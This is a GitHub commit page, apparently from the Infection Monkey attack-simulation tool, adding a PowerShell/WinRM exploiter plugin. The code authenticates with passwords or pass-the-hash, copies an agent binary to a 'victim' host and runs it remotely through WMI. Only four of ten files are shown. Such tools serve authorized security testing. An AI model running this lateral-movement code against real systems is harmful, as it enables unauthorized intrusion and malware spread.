-
Notifications
You must be signed in to change notification settings - Fork 786
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge branch '3165-powershell-exploit-client' into develop
- Loading branch information
Showing
10 changed files
with
702 additions
and
14 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
62 changes: 62 additions & 0 deletions
62
monkey/agent_plugins/exploiters/powershell/src/powershell_authentication_options.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,62 @@ | ||
from dataclasses import dataclass | ||
from enum import Enum | ||
|
||
from common.credentials import Credentials, LMHash, NTHash, Password, get_plaintext | ||
from infection_monkey.i_puppet import TargetHost | ||
|
||
from .powershell_consts import POWERSHELL_SSL_PORT | ||
|
||
|
||
class AuthenticationType(Enum): | ||
BASIC = "basic" | ||
NEGOTIATE = "negotiate" | ||
NTLM = "ntlm" | ||
|
||
|
||
class EncryptionSetting(Enum): | ||
AUTO = "auto" | ||
NEVER = "never" | ||
|
||
|
||
@dataclass | ||
class AuthenticationOptions: | ||
authentication_type: AuthenticationType | ||
encryption_setting: EncryptionSetting | ||
ssl_enabled: bool | ||
|
||
|
||
def get_auth_options(credentials: Credentials, host: TargetHost) -> AuthenticationOptions: | ||
ssl_enabled = _get_ssl_enabled_option(credentials, host) | ||
authentication_type = _get_authentication_type(credentials) | ||
encryption_setting = _get_encryption_setting(credentials) | ||
|
||
return AuthenticationOptions(authentication_type, encryption_setting, ssl_enabled) | ||
|
||
|
||
def _get_ssl_enabled_option(credentials: Credentials, host: TargetHost) -> bool: | ||
# Passwordless login only works with SSL false, | ||
# AuthenticationType.BASIC and EncryptionSetting.NEVER | ||
if isinstance(credentials.secret, Password): | ||
if get_plaintext(credentials.secret.password) == "": | ||
return False | ||
|
||
# Check if default PSRemoting ports are open. Prefer with SSL, if both are. | ||
return POWERSHELL_SSL_PORT in host.ports_status.tcp_ports.open | ||
|
||
|
||
def _get_authentication_type(credentials: Credentials): | ||
if isinstance(credentials.secret, Password): | ||
if get_plaintext(credentials.secret.password) == "": | ||
return AuthenticationType.BASIC | ||
|
||
if isinstance(credentials.secret, LMHash) or isinstance(credentials.secret, NTHash): | ||
return AuthenticationType.NTLM | ||
|
||
return AuthenticationType.NEGOTIATE | ||
|
||
|
||
def _get_encryption_setting(credentials: Credentials): | ||
secret = None | ||
if isinstance(credentials.secret, Password): | ||
secret = get_plaintext(credentials.secret.password) | ||
return EncryptionSetting.NEVER if secret == "" else EncryptionSetting.AUTO |
143 changes: 143 additions & 0 deletions
143
monkey/agent_plugins/exploiters/powershell/src/powershell_client.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,143 @@ | ||
import logging | ||
from pathlib import Path, PurePath | ||
from typing import Optional | ||
|
||
import pypsrp | ||
import spnego | ||
from pypsrp.client import Client | ||
from pypsrp.exceptions import AuthenticationError # noqa: F401 | ||
from pypsrp.powershell import PowerShell, RunspacePool | ||
from urllib3 import connectionpool | ||
|
||
from common.credentials import Credentials, LMHash, NTHash, Password, Username, get_plaintext | ||
from infection_monkey.i_puppet import TargetHost | ||
|
||
from .powershell_authentication_options import AuthenticationOptions | ||
|
||
logger = logging.getLogger(__name__) | ||
|
||
|
||
def _set_sensitive_packages_log_level_to_error(): | ||
# If root logger is inherited, extensive and potentially sensitive info could be logged | ||
sensitive_packages = [pypsrp, spnego, connectionpool] | ||
for package in sensitive_packages: | ||
logging.getLogger(package.__name__).setLevel(logging.ERROR) | ||
|
||
|
||
# The pypsrp library requires LM or NT hashes to be formatted like "LM_HASH:NT_HASH" | ||
# | ||
# Example: | ||
# If your LM hash is 1ec78eb5f6edd379351858c437fc3e4e and your NT hash is | ||
# 79a760336ad8c808fee32aa96985a305, then you would pass | ||
# "1ec78eb5f6edd379351858c437fc3e4e:79a760336ad8c808fee32aa96985a305" as the | ||
# `password` parameter to pypsrp. | ||
# | ||
# In our case, we have a set of NT hashes and a set of LM hashes, but we don't | ||
# know if any particular LM/NT hash pair was generated from the same password. | ||
# To avoid confusion, we pair each NT or LM hash with a dummy (i.e. all zeros) | ||
# hash. | ||
def format_password(credentials: Credentials) -> Optional[str]: | ||
secret = credentials.secret | ||
|
||
if not secret: | ||
return secret | ||
|
||
if isinstance(secret, Password): | ||
plaintext_secret = get_plaintext(secret.password) | ||
return plaintext_secret | ||
|
||
if isinstance(secret, LMHash): | ||
plaintext_secret = get_plaintext(secret.lm_hash) | ||
return f"{plaintext_secret}:00000000000000000000000000000000" | ||
|
||
if isinstance(secret, NTHash): | ||
plaintext_secret = get_plaintext(secret.nt_hash) | ||
return f"00000000000000000000000000000000:{plaintext_secret}" | ||
|
||
raise ValueError(f"Unknown secret type {type(secret)}") | ||
|
||
|
||
class PowerShellClient: | ||
""" | ||
A client for executing commands on a remote host using PowerShell. | ||
""" | ||
|
||
def __init__(self): | ||
_set_sensitive_packages_log_level_to_error() | ||
|
||
self._client = None | ||
self._authenticated = False | ||
|
||
def connect( | ||
self, | ||
host: TargetHost, | ||
credentials: Credentials, | ||
auth_options: AuthenticationOptions, | ||
timeout: float, | ||
): | ||
""" | ||
Connects to the remote host using the given credentials. | ||
:param host: The host to connect to | ||
:param credentials: The credentials to use | ||
:param auth_options: The authentication options to use | ||
:param timeout: The timeout for the connection | ||
:raises Exception: If an error occurred while attempting to connect | ||
""" | ||
username = ( | ||
credentials.identity.username | ||
if isinstance(credentials.identity, Username) | ||
else credentials.identity | ||
) | ||
self._client = Client( | ||
str(host.ip), | ||
username=username, | ||
password=format_password(credentials), | ||
cert_validation=False, | ||
auth=auth_options.authentication_type.value, | ||
encryption=auth_options.encryption_setting.value, | ||
ssl=auth_options.ssl_enabled, | ||
connection_timeout=timeout, | ||
) | ||
|
||
# Attempt to execute dir command to know if authentication was successful. | ||
# This will raise an exception if authentication was not successful. | ||
self._client.execute_cmd("dir") | ||
self._authenticated = True | ||
logger.debug("Successfully authenticated to remote PowerShell service") | ||
|
||
def connected(self) -> bool: | ||
return self._authenticated | ||
|
||
def copy_file(self, src: Path, dest: PurePath): | ||
""" | ||
Copies a file from the local machine to the remote machine. | ||
:param src: The path to the file to copy | ||
:param dest: The destination path on the remote machine | ||
:raises Exception: If an error occurred while attempting to copy the file | ||
""" | ||
try: | ||
self._client.copy(str(src), str(dest)) # type: ignore[union-attr] | ||
logger.debug(f"Successfully copied {src}") | ||
except Exception as err: | ||
logger.error(f"Failed to copy {src} to {dest}: {err}") | ||
raise err | ||
|
||
def execute_cmd_as_detached_process(self, cmd: str): | ||
""" | ||
Executes a command on the remote host. The command will be executed in detached process | ||
:param cmd: The command to execute | ||
:raises Exception: If an error occurred while attempting to execute the command | ||
""" | ||
logger.debug("Attempting to execute a command on the remote host as a detached process.") | ||
with ( | ||
self._client.wsman, # type: ignore[union-attr] | ||
RunspacePool(self._client.wsman) as pool, # type: ignore[union-attr] | ||
): | ||
ps = PowerShell(pool) | ||
ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter( | ||
"name", "create" | ||
).add_parameter("ArgumentList", cmd) | ||
ps.invoke() |
4 changes: 4 additions & 0 deletions
4
monkey/agent_plugins/exploiters/powershell/src/powershell_consts.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
from common.types import NetworkPort | ||
|
||
POWERSHELL_NO_SSL_PORT = NetworkPort(5985) | ||
POWERSHELL_SSL_PORT = NetworkPort(5986) |
113 changes: 113 additions & 0 deletions
113
monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,113 @@ | ||
import logging | ||
from pathlib import Path, PurePath | ||
from typing import Callable, Collection, Set, Type | ||
|
||
from common import OperatingSystem | ||
from common.credentials import Credentials | ||
from common.tags import ( | ||
BRUTE_FORCE_T1110_TAG, | ||
EXPLOITATION_OF_REMOTE_SERVICES_T1210_TAG, | ||
INGRESS_TOOL_TRANSFER_T1105_TAG, | ||
REMOTE_SERVICES_T1021_TAG, | ||
SYSTEM_SERVICES_T1569_TAG, | ||
) | ||
from infection_monkey.exploit.tools import ( | ||
IRemoteAccessClient, | ||
RemoteAuthenticationError, | ||
RemoteCommandExecutionError, | ||
RemoteFileCopyError, | ||
) | ||
from infection_monkey.exploit.tools.helpers import get_random_file_suffix | ||
from infection_monkey.i_puppet import TargetHost | ||
|
||
from .powershell_authentication_options import get_auth_options | ||
from .powershell_client import PowerShellClient | ||
from .powershell_options import PowerShellOptions | ||
|
||
logger = logging.getLogger(__name__) | ||
LOGIN_TAGS = { | ||
REMOTE_SERVICES_T1021_TAG, | ||
BRUTE_FORCE_T1110_TAG, | ||
EXPLOITATION_OF_REMOTE_SERVICES_T1210_TAG, | ||
} | ||
COPY_FILE_TAGS = { | ||
INGRESS_TOOL_TRANSFER_T1105_TAG, | ||
} | ||
EXECUTION_TAGS = { | ||
REMOTE_SERVICES_T1021_TAG, | ||
EXPLOITATION_OF_REMOTE_SERVICES_T1210_TAG, | ||
SYSTEM_SERVICES_T1569_TAG, | ||
} | ||
|
||
|
||
class PowerShellRemoteAccessClient(IRemoteAccessClient): | ||
def __init__( | ||
self, | ||
host: TargetHost, | ||
options: PowerShellOptions, | ||
command_builder: Callable[[OperatingSystem, PurePath], str], | ||
powershell_client: PowerShellClient, | ||
): | ||
self._host = host | ||
self._options = options | ||
self._command_builder = command_builder | ||
self._powershell_client = powershell_client | ||
|
||
def login(self, credentials: Credentials, tags: Set[str]): | ||
tags.update(LOGIN_TAGS) | ||
|
||
try: | ||
auth_options = get_auth_options(credentials, self._host) | ||
self._powershell_client.connect( | ||
self._host, credentials, auth_options, timeout=self._options.winrm_connect_timeout | ||
) | ||
except Exception as err: | ||
error_message = f"Failed to authenticate over PowerShell with {credentials}: {err}" | ||
raise RemoteAuthenticationError(error_message) | ||
|
||
def _raise_if_not_authenticated(self, error_type: Type[Exception]): | ||
if not self._powershell_client.connected(): | ||
raise error_type( | ||
"This operation cannot be performed until authentication is successful" | ||
) | ||
|
||
def get_os(self) -> OperatingSystem: | ||
return OperatingSystem.WINDOWS | ||
|
||
def execute_agent(self, agent_binary_path: PurePath, tags: Set[str]): | ||
self._raise_if_not_authenticated(RemoteCommandExecutionError) | ||
|
||
try: | ||
tags.update(EXECUTION_TAGS) | ||
self._powershell_client.execute_cmd_as_detached_process( | ||
self._command_builder(self.get_os(), agent_binary_path) | ||
) | ||
except Exception as err: | ||
raise RemoteCommandExecutionError(err) | ||
|
||
def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): | ||
self._raise_if_not_authenticated(RemoteFileCopyError) | ||
temp_monkey_binary_filepath = Path(f"./monkey_temp_bin_{get_random_file_suffix()}") | ||
|
||
logger.debug( | ||
f"Trying to copy monkey file to [{destination_path}] on victim {self._host.ip}" | ||
) | ||
|
||
self._create_local_agent_file(file, temp_monkey_binary_filepath) | ||
|
||
try: | ||
logger.info(f"Attempting to copy the monkey agent binary to {self._host.ip}") | ||
self._powershell_client.copy_file(temp_monkey_binary_filepath, destination_path) | ||
tags.update(COPY_FILE_TAGS) | ||
except Exception as err: | ||
raise RemoteFileCopyError(f"Failed to copy the agent binary to the victim: {err}") | ||
finally: | ||
if temp_monkey_binary_filepath.is_file(): | ||
temp_monkey_binary_filepath.unlink() | ||
|
||
def _create_local_agent_file(self, file: bytes, binary_path: Path): | ||
with open(binary_path, "wb") as f: | ||
f.write(file) | ||
|
||
def get_writable_paths(self) -> Collection[PurePath]: | ||
return [] |
Oops, something went wrong.